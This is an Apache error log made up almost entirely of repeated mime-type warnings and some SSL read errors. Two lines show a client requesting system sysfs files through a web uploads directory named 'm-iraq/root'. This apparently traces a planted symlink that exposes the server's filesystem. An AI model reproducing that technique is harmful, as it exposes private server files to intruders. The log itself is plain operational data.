[Fri Jul 17 10:31:25.156892 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:25.263589 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:25.359278 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:25.786964 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/hid-generic/new_id
[Fri Jul 17 10:31:25.812495 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:56488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:26.064548 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:26.167343 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:26.487500 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:26.795846 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:26.868386 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:56530] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:26.999963 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000039 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000075 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000094 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000111 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000138 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000156 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000174 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000191 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000207 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000223 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000240 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000257 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000273 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000290 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000306 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000322 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000416 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000435 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000451 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000467 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000483 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000499 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000516 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000532 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000549 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000582 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000599 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000615 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000631 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000647 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000663 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000784 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000804 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000821 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000837 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000855 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000873 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000888 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000904 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000920 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000942 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000959 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000975 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.000991 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001006 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001022 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001037 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001075 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001114 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001130 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001156 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001190 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001208 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001229 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001247 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001265 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001282 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001301 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001319 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.001338 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.081402 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.104654 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.204478 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.307529 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.414824 2026] [core:error] [pid 2076188:tid 2076188] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/line
[Fri Jul 17 10:31:27.767984 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.813305 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:27.861833 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:56618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:28.016868 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.116172 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.223840 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.327480 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.427098 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.613462 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.716184 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.730210 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.847341 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:28.931252 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.032260 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.134459 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.246483 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.469888 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.559718 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.659290 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.689090 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.850359 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924048 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924165 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924191 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924229 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924253 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924273 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924312 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924336 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924367 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924395 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924414 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924431 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924485 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924508 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924527 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924561 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924586 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924731 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924757 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924796 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924819 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924852 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924880 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924900 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.924991 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925017 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925099 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925141 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925175 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925193 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925226 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925268 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925391 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925417 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925456 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925477 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925507 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925547 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925571 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925590 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925625 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925649 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925669 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925734 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925756 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925793 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925816 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925834 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925867 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925906 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925930 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.925950 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926036 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926166 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926192 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926223 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926263 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926287 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926304 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926355 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:29.926410 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.281768 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.281970 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282091 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282133 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282231 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282270 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282322 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282380 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282432 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282465 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282531 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282564 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282631 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282664 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282799 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282833 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.282881 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283102 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283149 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283213 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283289 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283324 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283373 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283431 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283465 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283520 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283596 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283650 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283720 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283783 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283817 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.283869 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284059 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284117 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284152 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284232 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284265 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284342 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284395 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284450 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284485 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284540 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284564 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284599 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284638 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284662 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284732 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284757 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284796 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284819 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284838 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284878 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284900 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284932 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284973 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.284998 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.285017 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.285075 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.285102 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.285121 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.285160 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.327257 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.368493 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.471219 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.572387 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.608748 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.687009 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.689952 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.693179 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.875419 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977394 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977523 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977574 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977620 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977667 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977722 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
